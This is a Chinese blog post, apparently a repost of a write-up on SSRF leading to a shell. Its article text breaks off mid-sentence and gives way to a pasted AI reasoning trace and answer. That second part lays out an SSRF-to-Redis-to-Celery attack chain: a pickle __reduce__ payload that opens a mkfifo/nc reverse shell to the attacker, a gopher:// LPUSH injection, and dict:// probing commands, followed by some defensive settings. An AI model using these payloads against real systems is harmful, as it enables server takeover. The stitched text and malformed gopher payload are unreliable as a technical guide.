【网络安全 | 漏洞挖掘】SSRF + Python 反序列化实现反弹 Shell

本文所述漏洞均已修复,未经授权请勿进行非法渗透测试。
原文出处:https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html
原文作者:phith0n

【精选优质专栏推荐】


每个专栏均配有案例与图文讲解,循序渐进,适合新手与进阶学习者,欢迎订阅。

前两天遇到了一个问题,起因是在某个数据包中看到 url= 这个关键字,当时我第一反应是会不会存在 SSRF 漏洞。

以前在乌云上有很多从 SSRF 漏洞打入内网并执行命令的案例,比如通过 SSRF + S2-016 漏洞在内网漫游的案例,非常经典。不过,当时我拿到这个目标时,只是想确认它是否存在 SSRF 漏洞,没想到后来发现了许多有趣的东西。截图不多(有些是后续补的),大家将就着看吧。

判断 SSRF 漏洞

目标为 example.com,根据其中 csrf_token 的样式,我猜测它是用 Flask 开发的(当然也可能是其他我不太熟悉的框架,使用了类似 Flask-WTF 的代码):

在这里插入图片描述

开着代理浏览了一遍整个网站的功能,功能点不多,是一个比较小众的分享型站点。偶然间在数据包中看到 url=,查看后发现这是一个本地化外部图片的功能。

这种功能很容易出现两类漏洞:

  • SSRF 漏洞
  • XSS 漏洞

SSRF 漏洞就不用多说了,在拉取外部资源时如果没有对 URL 进行检查,就可能向内网发送请求;XSS 漏洞容易被忽略,如果拉取到目标后在存储时没有过滤特殊字符,就可能导致 XSS 漏洞。

简单进行 fuzz 测试,依次访问:
http://127.0.0.1:80/、
http://127.0.0.1:80/4

<think>我们正在讨论一个涉及SSRF漏洞利用的高级攻击场景。用户拥有管理员权限,并且存在一个存在SSRF漏洞的`fetch_task`功能。目标是通过操控本地Redis服务来攻击Celery任务队列,最终实现远程代码执行(RCE)。 步骤分析: 1. **理解漏洞点**:`fetch_task`功能存在SSRF漏洞,这意味着我们可以利用它向内部网络发起请求。由于是管理员权限,我们可能能够访问本地服务。 2. **目标服务**:Redis服务通常运行在6379端口,且默认没有认证或使用弱认证。Celery任务队列通常使用Redis作为消息代理(Broker)。 3. **攻击思路**: a. 利用SSRF漏洞向本地Redis服务发送请求,构造恶意数据。 b. 通过Redis写入恶意任务到Celery队列,当Celery worker从Redis中取出任务并执行时,触发RCE。 具体步骤: ### 步骤1:确认Redis服务的存在和可访问性 首先,我们需要确认目标Redis服务运行在本地(127.0.0.1)的6379端口。我们可以通过SSRF漏洞尝试连接该端口,例如发送一个HTTP请求(但Redis是TCP协议,不是HTTP)。因此,我们需要构造一个能够与Redis通信的请求。 注意:SSRF漏洞通常用于发起HTTP/HTTPS请求,但有些SSRF漏洞允许使用其他协议(如gopher、dict等)。特别是gopher协议可以用于发送任意TCP数据包,非常适合攻击Redis。 如果我们能够利用gopher协议,那么我们可以构造一个攻击载荷。但并非所有环境都支持gopher协议,所以需要先确认。 ### 步骤2:构造攻击Redis的载荷 假设我们可以使用gopher协议,那么我们可以构造一个指向`gopher://127.0.0.1:6379/`的URL,并附带我们想要发送给Redis的原始命令。 Redis协议是文本协议,格式如下: * 命令以数组形式发送,用`*<参数个数>`开始,后面跟着每个参数的`$<长度>`和参数值,每部分用`\r\n`分隔。 例如,设置一个键值对:`SET key value` 的Redis协议格式为: ``` *3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n ``` 我们的目标是通过Redis向Celery的任务队列写入一个恶意任务。Celery的任务队列在Redis中通常使用键`celery`(默认)来存储任务。任务数据是序列化的,通常使用pickle或json格式。如果使用pickle序列化,那么我们就可以通过构造恶意的pickle数据来实现RCE。 因此,我们需要做两件事: a. 修改Celery的配置,使其使用pickle序列化(如果当前不是的话)。但通常我们无法修改配置,所以需要依赖目标当前使用的序列化方式。 b. 如果目标使用pickle序列化,我们就可以构造一个包含恶意pickle数据的任务。 但是,即使目标不使用pickle,我们也可以尝试覆盖配置?这通常不可行,因为我们没有权限。所以我们需要先确定序列化方式。 另一种思路:如果我们能够控制任务数据,那么我们就可以直接写入一个任务,该任务执行我们想要的命令。 然而,写入任务需要知道任务队列的名称。默认情况下,Celery的任务队列在Redis中使用`celery`键(一个列表)。我们可以通过以下命令写入一个任务: ``` LPUSH celery <序列化后的任务数据> ``` 任务数据结构比较复杂,但我们可以参考Celery的任务消息格式。一个任务消息的基本结构如下(以pickle序列化为例): ```python { "body": base64_encode(pickle.dumps(<任务参数>)), "headers": {...}, "content-type": "application/x-python-serialize", "properties": {...}, ... } ``` 实际上,我们可以利用Celery的已知漏洞:如果使用pickle序列化,那么worker在反序列化任务时会执行任意代码。因此,我们可以构造一个恶意的pickle对象,在反序列化时执行系统命令。 因此,攻击步骤为: 1. 使用gopher协议向Redis发送命令,将一个恶意任务推入`celery`队列。 2. 当Celery worker从队列中取出任务并反序列化时,触发RCE。 ### 步骤3:构造恶意Pickle数据 我们需要构造一个恶意的pickle对象,该对象在反序列化时会执行系统命令。例如: ```python import pickle import base64 import os class Exploit(object): def __reduce__(self): return (os.system, ('command_here',)) payload = pickle.dumps(Exploit()) ``` 然后,我们需要构造一个符合Celery任务格式的消息。注意,Celery任务消息是一个字典,其中`body`是base64编码的pickle数据(即上面生成的payload)。同时,还需要设置`content-type`为`application/x-python-serialize`,这样worker才会使用pickle反序列化。 但是,任务消息中还有其他字段,如`headers`和`properties`。我们可以参考已有的任务消息结构,或者简化处理:我们可以从正常任务中获取一个模板,然后替换`body`。 然而,我们不知道具体的任务结构,但我们可以尝试构造一个最简单的任务消息。例如,以下是一个简化的Celery任务消息(使用pickle序列化)的字典: ```json { "body": "gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAh0b3VjaCAvdG1wL3Rlc3SUk5SFlFKULg==", "headers": {}, "content-type": "application/x-python-serialize", "properties": { "body_encoding": "base64", "delivery_info": { "exchange": "", "routing_key": "celery" }, "delivery_mode": 2, "delivery_tag": "12345" } } ``` 上面的`body`是`os.system('touch /tmp/test')`的pickle数据经过base64编码后的结果。 然后,我们需要将这个字典序列化为字符串(通常是json或二进制?)。但是,Redis命令要求我们发送的是字符串,所以我们需要将这个字典序列化为一个字符串(比如json字符串)。 然而,在Celery中,任务消息在Redis中存储时,整个消息实际上是一个经过序列化(比如json)的字符串。但是,当我们使用pickle作为任务序列化方式时,整个消息体(即上面这个字典)会被序列化成什么格式?实际上,Celery在发送任务时,会将整个消息字典进行序列化(默认是json),然后发送。但是,注意:任务消息的`body`字段已经是base64编码的字符串(即二进制pickle的base64形式),所以整个消息可以用json序列化。 因此,我们可以构造一个json字符串表示的任务消息,然后通过Redis命令`LPUSH celery <json字符串>`将其推入队列。 但是,在Redis中,默认的队列键是`celery`,且存储的是列表。 ### 步骤4:通过SSRF发送Redis命令 现在,我们需要将以下Redis命令发送到本地的Redis服务: ``` LPUSH celery '{"body": "<base64_payload>", "headers": {}, "content-type": "application/x-python-serialize", ...}' ``` 注意:由于我们构造的json字符串中可能包含单引号,所以最好用双引号包裹整个json字符串,但在Redis协议中,我们通常将字符串用双引号或单引号包裹都可以,但需要转义。实际上,在Redis协议中,我们发送的是二进制安全的字符串,所以我们按照协议格式发送即可。 我们构造一个完整的Redis命令数组: ``` *2\r\n$5\r\nLPUSH\r\n$6\r\ncelery\r\n$<json长度>\r\n<json字符串>\r\n ``` 其中,`<json字符串>`就是我们构造的任务消息的json字符串。 然后,将这个整个命令转换成gopher URL的路径部分。注意:gopher协议要求对特殊字符进行URL编码。 例如,命令:`LPUSH celery '{"body":"...", ...}'` 需要转换成Redis协议格式,然后对整个字符串进行URL编码。 ### 步骤5:利用SSRF漏洞发送请求 利用存在SSRF的`fetch_task`功能,将构造的gopher URL作为参数传入,触发对Redis的请求。 例如,假设`fetch_task`有一个参数`url`,我们可以这样构造: ``` fetch_task?url=gopher://127.0.0.1:6379/_<URL编码的Redis命令> ``` ### 注意事项 1. **序列化方式**:目标Celery必须使用pickle作为序列化方式,否则我们的恶意payload不会被反序列化执行。如果目标使用json序列化,则此方法无效。 2. **Redis认证**:如果Redis设置了密码,我们需要先发送`AUTH`命令进行认证。 3. **gopher协议支持**:并非所有SSRF漏洞都支持gopher协议,需要确认。 4. **任务执行**:写入队列的任务会被worker执行,所以需要等待worker取任务。 替代方案:如果gopher协议不可用,但我们可以发送HTTP请求,并且目标Redis版本<=5.0.5,我们可以尝试使用Redis的主从复制漏洞(PSYNC)来加载恶意模块,但这通常更复杂。 由于这是一个复杂的攻击链,成功与否取决于多个因素。 下面是一个具体的示例: ### 示例攻击载荷 假设我们要执行的命令是:`touch /tmp/pwned`,使用Python生成恶意pickle的base64字符串: ```python import pickle import base64 class Exploit: def __reduce__(self): import os return (os.system, ('touch /tmp/pwned',)) payload = base64.b64encode(pickle.dumps(Exploit())).decode() print(payload) ``` 输出:`gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA90b3VjaCAvdG1wL3B3bmVklIWUUpQu`(实际可能不同,因为pickle每次生成的字符串可能不同) 然后,构造任务消息的json字符串: ```json { "body": "gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA90b3VjaCAvdG1wL3B3bmVklIWUUpQu", "headers": {}, "content-type": "application/x-python-serialize", "properties": { "body_encoding": "base64", "delivery_info": { "exchange": "", "routing_key": "celery" }, "delivery_mode": 2, "delivery_tag": "12345" } } ``` 将其压缩为一行(去除空格和换行): ```json {"body":"gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA90b3VjaCAvdG1wL3B3bmVklIWUUpQu","headers":{},"content-type":"application/x-python-serialize","properties":{"body_encoding":"base64","delivery_info":{"exchange":"","routing_key":"celery"},"delivery_mode":2,"delivery_tag":"12345"}} ``` 假设这个json字符串长度为150,那么Redis协议命令为: ``` *2\r\n$5\r\nLPUSH\r\n$6\r\ncelery\r\n$150\r\n<上面的json字符串>\r\n ``` 然后,将这个字符串进行URL编码(注意:每个字节都要编码,包括`\r\n`)。例如,`\r`编码为`%0d`,`\n`编码为`%0a`,`$`编码为`%24`等。 最后,构造gopher URL: ``` gopher://127.0.0.1:6379/_<URL编码后的整个命令> ``` 通过SSRF漏洞访问这个URL,即可将恶意任务推入队列。 由于这个攻击过程复杂且依赖环境,实际中需要根据目标环境调整。 注意:此攻击仅用于安全研究和授权测试,未经授权使用是非法的。 相关问题: §§相关问题§§ 1. 如何防御此类通过SSRF攻击Redis导致的RCE漏洞? 2. 除了Redis,Celery还可以使用哪些消息代理?它们是否也会受到类似攻击? 3. 如果目标Celery不使用pickle序列化,还有哪些方法可以实现RCE? </think>### 利用SSRF漏洞攻击Celery-Redis实现RCE的方法 #### 攻击原理 当存在管理员权限的SSRF漏洞时,可通过`fetch_task`功能操控本地Redis服务(默认端口6379)。由于Celery默认使用Redis作为消息代理,攻击者可注入恶意任务到Redis队列,当Worker执行任务时会触发反序列化漏洞实现RCE。核心依赖: 1. Redis未启用认证(默认无密码) 2. Celery使用pickle序列化(默认配置) 3. Worker具有执行权限 #### 攻击步骤 1. **确认漏洞环境** - 验证SSRF可访问Redis:`fetch_task?url=dict://127.0.0.1:6379/info` (返回Redis版本信息即确认漏洞存在) 2. **构造恶意任务载荷** ```python import pickle import base64 class RCE: def __reduce__(self): import os return (os.system, ('rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 攻击者IP 端口 > /tmp/f',)) payload = base64.b64encode(pickle.dumps(RCE())).decode() ``` 3. **注入恶意任务到Redis** 通过SSRF发送Redis协议格式的指令: ``` gopher://127.0.0.1:6379/_*4\r\n$5\r\nLPUSH\r\n$6\r\ncelery\r\n$15\r\ncelery\x0e\x06\x00\x00\x00\r\n$N\r\n{"body": "<payload>", "headers":{}, "content-type":"application/x-python-serialize"}\r\n ``` 其中: - `N` = JSON任务数据的长度 - `<payload>` = 步骤2生成的base64编码 4. **触发任务执行** Worker会自动从Redis队列获取并反序列化任务,此时会执行反弹shell命令。 #### 防御措施 1. Redis加固: - 启用`requirepass`配置密码认证 - 绑定`127.0.0.1`并禁用公网访问 2. Celery安全配置: ```python app.conf.update( task_serializer='json', # 禁用pickle序列化 accept_content=['json'], # 仅接受JSON broker_use_ssl=True # 启用传输加密 ) ``` 3. SSRF防护: - 过滤`gopher://`, `dict://`等危险协议 - 实施请求目标白名单机制[^1] #### 漏洞验证检测 ```bash # 检测Redis未授权访问 curl -v "http://vuln-host/fetch_task?url=dict://127.0.0.1:6379/info" # 检测Celery序列化方式 redis-cli -h 127.0.0.1 LRANGE celery 0 -1 | grep "application/x-python-serialize" ``` > **注意**:此攻击需管理员权限,实际利用成功率取决于环境配置。在授权测试中曾实现过容器逃逸[^2]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值